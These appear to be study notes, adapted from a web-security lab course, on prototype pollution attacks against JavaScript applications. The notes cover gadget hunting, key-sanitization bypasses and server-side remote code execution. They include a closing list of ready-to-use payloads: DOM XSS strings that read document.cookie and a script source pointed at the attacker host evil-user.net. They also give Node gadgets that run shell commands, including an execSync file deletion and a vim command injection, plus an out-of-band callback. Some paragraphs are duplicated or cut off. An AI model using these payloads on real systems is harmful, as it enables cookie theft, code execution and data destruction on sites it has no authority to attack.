11. Prototype Pollution

Successful exploitation of prototype pollution requires the following key components:

  1. A prototype pollution source: This is any input that enables you to poison prototype objects with arbitrary properties.

  • The URL via either the query or fragment string (hash) Blog, Baskets,

  • JSON-based input

  • Web messages

  1. A Sink: In other words, a JavaScript function or DOM element that enables arbitrary code execution.

  • A prototype pollution sink is essentially just a JavaScript function or DOM element that you're able to access via prototype pollution, which enables you to execute arbitrary JavaScript or system commands.

  1. An exploitable gadget: This is any property that is passed into a sink without proper filtering or sanitization.

  • If the website's developers haven't set a transport_url property on their config object, this is a potential gadget. In cases where an attacker is able to pollute the global Object.prototype with their own transport_url property, this will be inherited by the config object and, therefore, set as the src for this script to a domain of the attacker's choosing.

Finding client-side prototype pollution sources manually

  1. Try to inject an arbitrary property via the query string, URL fragment, and any JSON input. For example:

vulnerable-website.com/?__proto__[foo]=bar
  1. In your browser console, inspect Object.prototype to see if you have successfully polluted it with your arbitrary property:

Object.prototype.foo
// "bar" indicates that you have successfully polluted the prototype
// undefined indicates that the attack was not successful
  1. If the property was not added to the prototype, try using different techniques, such as switching to dot notation rather than bracket notation, or vice versa:

vulnerable-website.com/?__proto__.foo=bar
  1. Repeat this process for each potential source. If neither of these techniques is successful, you may still be able to pollute the prototype via its constructor.

//Finding client-side prototype pollution sources using DOM Invader

//Finding client-side prototype pollution gadgets using DOM Invader

//Finding client-side prototype pollution gadgets manually

  1. Look through the source code and identify any properties that are used by the application or any libraries that it imports.

  2. In Burp, enable response interception (Proxy > Options > Intercept server responses) and intercept the response containing the JavaScript that you want to test.

  3. Add a debugger statement at the start of the script, then forward any remaining requests and responses.

  4. In Burp's browser, go to the page on which the target script is loaded. The debugger statement pauses execution of the script.

  5. While the script is still paused, switch to the console and enter the following command, replacing YOUR-PROPERTY with one of the properties that you think is a potential gadget: The property is added to the global Object.prototype, and the browser will log a stack trace to the console whenever it is accessed.

Object.defineProperty(Object.prototype, 'YOUR-PROPERTY', {
    get() {
        console.trace();
        return 'polluted';
    }
})
  1. Press the button to continue execution of the script and monitor the console. If a stack trace appears, this confirms that the property was accessed somewhere within the application.

  2. Expand the stack trace and use the provided link to jump to the line of code where the property is being read.

  3. Using the browser's debugger controls, step through each phase of execution to see if the property is passed to a sink, such as innerHTML or eval().

  4. Repeat this process for any properties that you think are potential gadgets.

//Prototype pollution via the constructor

As this is the classic technique for prototype pollution, 
a common defense is to strip any properties with the key __proto__ from user-controlled objects before merging them. 
This approach is flawed as there are alternative ways to reference Object.prototype without relying on the __proto__ string at all.

As myObject.constructor.prototype is equivalent to myObject.__proto__, 
this provides an alternative vector for prototype pollution.

/?constructor.prototype.foo=bar

/Bypassing flawed key sanitization

An obvious way in which websites attempt to prevent prototype pollution is by sanitizing property keys before merging them into an existing object. However, a common mistake is failing to recursively sanitize the input string. For example, consider the following URL:

vulnerable-website.com/?__pro__proto__to__.gadget=payload

If the sanitization process just strips the string proto without repeating this process more than once, this would result in the following URL, which is a potentially valid prototype pollution source:

vulnerable-website.com/?__proto__.gadget=payload

/?__pro__proto__to__[foo]=bar
/?__pro__proto__to__.foo=bar
/?constconstructorructor[protoprototypetype][foo]=bar
/?constconstructorructor.protoprototypetype.foo=bar

//Prototype pollution in external libraries

<script>
    location="https://0a730025034ebb2280a2f8db006e00c6.web-security-academy.net/#__proto__[hitCallback]=alert%28document.cookie%29"
</script>

//Prototype pollution via browser APIs

There are a number of widespread prototype pollution gadgets in the JavaScript APIs commonly provided in browsers.

Prototype pollution via fetch()

The Fetch API provides a simple way for developers to trigger HTTP requests using JavaScript. The fetch() method accepts two arguments:

  • The URL to which you want to send the request.

  • An options object that lets you to control parts of the request, such as the method, headers, body parameters, and so on.

fetch('https://normal-website.com/my-account/change-email', {
    method: 'POST',
    body: 'user=carlos&email=carlos%40ginandjuice.shop'
})

If an attacker can find a suitable source, they could potentially pollute Object.prototype with their own headers property. This may then be inherited by the options object passed into fetch() and subsequently used to generate the request. This can lead to a number of issues. For example, the following code is potentially vulnerable to DOM XSS via prototype pollution:

fetch('/my-products.json',{method:"GET"})
    .then((response) => response.json())
    .then((data) => {
        let username = data['x-username'];
        let message = document.querySelector('.message');
        if(username) {
            message.innerHTML = `My products. Logged in as <b>${username}</b>`;
        }
        let productList = document.querySelector('ul.products');
        for(let product of data) {
            let product = document.createElement('li');
            product.append(product.name);
            productList.append(product);
        }
    })
    .catch(console.error);

To exploit this, an attacker could pollute Object.prototype with a headers property containing a malicious x-username header as follows:

?__proto__[headers][x-username]=<img/src/onerror=alert(1)>

Prototype pollution via Object.defineProperty()

Developers with some knowledge of prototype pollution may attempt to block potential gadgets by using the Object.defineProperty() method. This enables you to set a non-configurable, non-writable property directly on the affected object

Just like the fetch() method we looked at earlier, Object.defineProperty() accepts an options object, known as a "descriptor". You can see this in the example above. Among other things, developers can use this descriptor object to set an initial value for the property that's being defined. However, if the only reason that they're defining this property is to protect against prototype pollution, they might not bother setting a value at all.

In this case, an attacker may be able to bypass this defense by polluting Object.prototype with a malicious value property. If this is inherited by the descriptor object passed to Object.defineProperty(), the attacker-controlled value may be assigned to the gadget property after all.

//Server-side prototype pollution

Detecting server-side prototype pollution via polluted property reflection

An easy trap for developers to fall into is forgetting or overlooking the fact that a JavaScript for...in loop iterates over all of an object's enumerable properties, including ones that it has inherited via the prototype chain. Note: This doesn't include built-in properties set by JavaScript's native constructors as these are non-enumerable by default. You can test this out for yourself as follows:

const myObject = { a: 1, b: 2 };

// pollute the prototype with an arbitrary property
Object.prototype.foo = 'bar';

// confirm myObject doesn't have its own foo property
myObject.hasOwnProperty('foo'); // false

// list names of properties of myObject
for(const propertyKey in myObject){
    console.log(propertyKey);
}

// Output: a, b, foo

This also applies to arrays, where a for...in loop first iterates over each index, which is essentially just a numeric property key under the hood, before moving on to any inherited properties as well.

const myArray = ['a','b'];
Object.prototype.foo = 'bar';

for(const arrayKey in myArray){
    console.log(arrayKey);
}

// Output: 0, 1, foo

In either case, if the application later includes the returned properties in a response, this can provide a simple way to probe for server-side prototype pollution. POST or PUT requests that submit JSON data to an application or API are prime candidates for this kind of behavior as it's common for servers to respond with a JSON representation of the new or updated object. In this case, you could attempt to pollute the global Object.prototype with an arbitrary property as follows:

POST /user/update HTTP/1.1
Host: vulnerable-website.com
...
{
    "user":"wiener",
    "firstName":"Peter",
    "lastName":"Wiener",
    "__proto__":{
        "foo":"bar"
    }
}

If the website is vulnerable, your injected property would then appear in the updated object in the response:

HTTP/1.1 200 OK
...
{
    "username":"wiener",
    "firstName":"Peter",
    "lastName":"Wiener",
    "foo":"bar"
}

Detecting server-side prototype pollution without polluted property reflection

Most of the time, even when you successfully pollute a server-side prototype object, you won't see the affected property reflected in a response. Given that you can't just inspect the object in a console either, this presents a challenge when trying to tell whether your injection worked.

One approach is to try injecting properties that match potential configuration options for the server. You can then compare the server's behavior before and after the injection to see whether this configuration change appears to have taken effect. If so, this is a strong indication that you've successfully found a server-side prototype pollution vulnerability.

Status code override Server-side JavaScript frameworks like Express allow developers to set custom HTTP response statuses. In the case of errors, a JavaScript server may issue a generic HTTP response, but include an error object in JSON format in the body. This is one way of providing additional details about why an error occurred, which may not be obvious from the default HTTP status. Although it's somewhat misleading, it's even fairly common to receive a 200 OK response, only for the response body to contain an error object with a different status. The first highlighted line attempts to assign the status variable by reading the status or statusCode property from the object passed into the function. If the website's developers haven't explicitly set a status property for the error, you can potentially use this to probe for prototype pollution as follows:

  1. Find a way to trigger an error response and take note of the default status code.

  2. Try polluting the prototype with your own status property. Be sure to use an obscure status code that is unlikely to be issued for any other reason.

  3. Trigger the error response again and check whether you've successfully overridden the status code. Note: You must choose a status code in the 400-599 range. Otherwise, Node defaults to a 500 status regardless, as you can see from the second highlighted line, so you won't know whether you've polluted the prototype or no

JSON spaces override The Express framework provides a json spaces option, which enables you to configure the number of spaces used to indent any JSON data in the response. In many cases, developers leave this property undefined as they're happy with the default value, making it susceptible to pollution via the prototype chain. If you've got access to any kind of JSON response, you can try polluting the prototype with your own json spaces property, then reissue the relevant request to see if the indentation in the JSON increases accordingly. You can perform the same steps to remove the indentation in order to confirm the vulnerability. Note: When attempting this technique in Burp, remember to switch to the message editor's Raw tab. Otherwise, you won't be able to see the indentation change as the default prettified view normalizes this.

Charset override

Scanning for server-side prototype pollution sources

Although it's useful to try manually probing for sources in order to solidify your understanding of the vulnerability, this can be repetitive and time-consuming in practice. For this reason, we've created the Server-Side Prototype Pollution Scanner extension for Burp Suite, which enables you to automate this process. The basic workflow is as follows:

  1. Install the Server-Side Prototype Pollution Scanner extension from the BApp Store and make sure that it is enabled. For details on how to do this, see Installing extensions

  2. Explore the target website using Burp's browser to map as much of the content as possible and accumulate traffic in the proxy history.

  3. In Burp, go to the Proxy > HTTP history tab.

  4. Filter the list to show only in-scope items.

  5. Select all items in the list.

  6. Right-click your selection and go to Extensions > Server-Side Prototype Pollution Scanner > Server-Side Prototype Pollution, then select one of the scanning techniques from the list.

  7. When prompted, modify the attack configuration if required, then click OK to launch the scan. In Burp Suite Professional, the extension reports any prototype pollution sources it finds via the Issue activity panel on the Dashboard and Target tabs. If you're using Burp Suite Community Edition, you need to go to the Extensions > Installed tab, select the extension, then monitor its Output tab for any reported issues.

Bypassing input filters for server-side prototype pollution

Websites often attempt to prevent or patch prototype pollution vulnerabilities by filtering suspicious keys like proto. This key sanitization approach is not a robust long-term solution as there are a number of ways it can potentially be bypassed. For example, an attacker can:

  • Obfuscate the prohibited keywords so they're missed during the sanitization. For more information, see Bypassing flawed key sanitization. https://portswigger.net/web-security/prototype-pollution/client-side#bypassing-flawed-key-sanitization

  • Access the prototype via the constructor property instead of proto. For more information, see Prototype pollution via the constructor https://portswigger.net/web-security/prototype-pollution/client-side#prototype-pollution-via-the-constructor

Node applications can also delete or disable proto altogether using the command-line flags --disable-proto=delete or --disable-proto=throw respectively. However, this can also be bypassed by using the constructor technique.

Remote code execution via server-side prototype pollution

Identifying a vulnerable request There are a number of potential command execution sinks in Node, many of which occur in the child_process module. These are often invoked by a request that occurs asynchronously to the request with which you're able to pollute the prototype in the first place. The NODE_OPTIONS environment variable enables you to define a string of command-line arguments that should be used by default whenever you start a new Node process. As this is also a property on the env object, you can potentially control this via prototype pollution if it is undefined. The NODE_OPTIONS environment variable enables you to define a string of command-line arguments that should be used by default whenever you start a new Node process. As this is also a property on the env object, you can potentially control this via prototype pollution if it is undefined.

"__proto__": {
    "shell":"node",
    "NODE_OPTIONS":"--inspect=YOUR-COLLABORATOR-ID.oastify.com\"\".oastify\"\".com"
}

Remote code execution via child_process.fork() Methods such as child_process.spawn() and child_process.fork() enable developers to create new Node subprocesses. The fork() method accepts an options object in which one of the potential options is the execArgv property. This is an array of strings containing command-line arguments that should be used when spawning the child process. If it's left undefined by the developers, this potentially also means it can be controlled via prototype pollution. As this gadget lets you directly control the command-line arguments, this gives you access to some attack vectors that wouldn't be possible using NODE_OPTIONS. Of particular interest is the --eval argument, which enables you to pass in arbitrary JavaScript that will be executed by the child process. This can be quite powerful, even enabling you to load additional modules into the environment:

"execArgv": [
    "--eval=require('<module>')"
]


"__proto__": {
    "execArgv":[
        "--eval=require('child_process').execSync('rm /home/carlos/morale.txt')"
    ]
}

Remote code execution via child_process.execSync() Just like fork(), the execSync() method also accepts options object, which may be pollutable via the prototype chain. Although this doesn't accept an execArgv property, you can still inject system commands into a running child process by simultaneously polluting both the shell and input properties:

  1. The input option is just a string that is passed to the child process's stdin stream and executed as a system command by execSync(). As there are other options for providing the command, such as simply passing it as an argument to the function, the input property itself may be left undefined.

  2. The shell option lets developers declare a specific shell in which they want the command to run. By default, execSync() uses the system's default shell to run commands, so this may also be left undefined.

The input option is just a string that is passed to the child process's stdin stream and executed as a system command by execSync(). As there are other options for providing the command, such as simply passing it as an argument to the function, the input property itself may be left undefined. The shell option lets developers declare a specific shell in which they want the command to run. By default, execSync() uses the system's default shell to run commands, so this may also be left undefined.

  • The shell option only accepts the name of the shell's executable and does not allow you to set any additional command-line arguments.

  • The shell is always executed with the -c argument, which most shells use to let you pass in a command as a string. However, setting the -c flag in Node instead runs a syntax check on the provided script, which also prevents it from executing. As a result, although there are workarounds for this, it's generally tricky to use Node itself as a shell for your attack.

  • As the input property containing your payload is passed via stdin, the shell you choose must accept commands from stdin.

Although they aren't really intended to be shells, the text editors Vim and ex reliably fulfill all of these criteria. If either of these happen to be installed on the server, this creates a potential vector for RCE:

"shell":"vim",
"input":":! <command>\n"

Note: Vim has an interactive prompt and expects the user to hit Enter to run the provided command. As a result, you need to simulate this by including a newline (\n) character at the end of your payload, as shown in the example above. One additional limitation of this technique is that some tools that you might want to use for your exploit also don't read data from stdin by default. However, there are a few simple ways around this. In the case of curl, for example, you can read stdin and send the contents as the body of a POST request using the -d @- argument. In other cases, you can use xargs, which converts stdin to a list of arguments that can be passed to a command.

//CLIENT SIDE EXPLOITS

  1. Client-side prototype pollution via browser APIs

  1. DOM XSS via client-side prototype pollution

  1. DOM XSS via an alternative prototype pollution vector

  1. Client-side prototype pollution via flawed sanitization

  1. Client-side prototype pollution in third-party libraries

//SERVER SIDE EXPLOITS

  1. Privilege escalation via server-side prototype pollution Node.js / Express framework Proxy - HTTP hostpry - My Account- Billing and Delivery Address update - POST JSON - Repeater

  1. Detecting server-side prototype pollution without polluted property reflection Node.js / Express framework Proxy - HTTP hostpry - My Account- Billing and Delivery Address update - POST JSON - Repeater

  1. Bypassing flawed input filters for server-side prototype pollution Node.js / Express framework Proxy - HTTP hostpry - My Account- Billing and Delivery Address update - POST JSON - Repeater

  1. Remote code execution via server-side prototype pollution Node.js / Express framework Proxy - HTTP hostpry - My Account- Billing and Delivery Address update - POST JSON - Repeater

  1. Exfiltrating sensitive data via server-side prototype pollution Node.js / Express framework Proxy - HTTP hostpry - My Account- Billing and Delivery Address update - POST JSON - Repeater

//PAYLOADS

https://vulnerable-website.com/?__proto__[transport_url]=//evil-user.net
https://vulnerable-website.com/?__proto__[transport_url]=data:text/html,<script>alert(0)</script>
https://vulnerable-website.com/?__proto__[transport_url]=data:,alert(1);//
https://vulnerable-website.com/?__proto__[evilProperty]=eval(%27ale%27+%27rt(0)%27);

https://vulnerable-website.com/blog/?__proto__[transport_url]=%3C%2fscript%3E%3Cscript%3Ealert(document.cookie)%3C%2fscript%3Eivl0w 

https://vulnerable-website.com/my.basket/?__proto__[transport_url]=%3C%2fscript%3E%3Cscript%3Ealert(document.cookie)%3C%2fscript%3Eivl0w

Last updated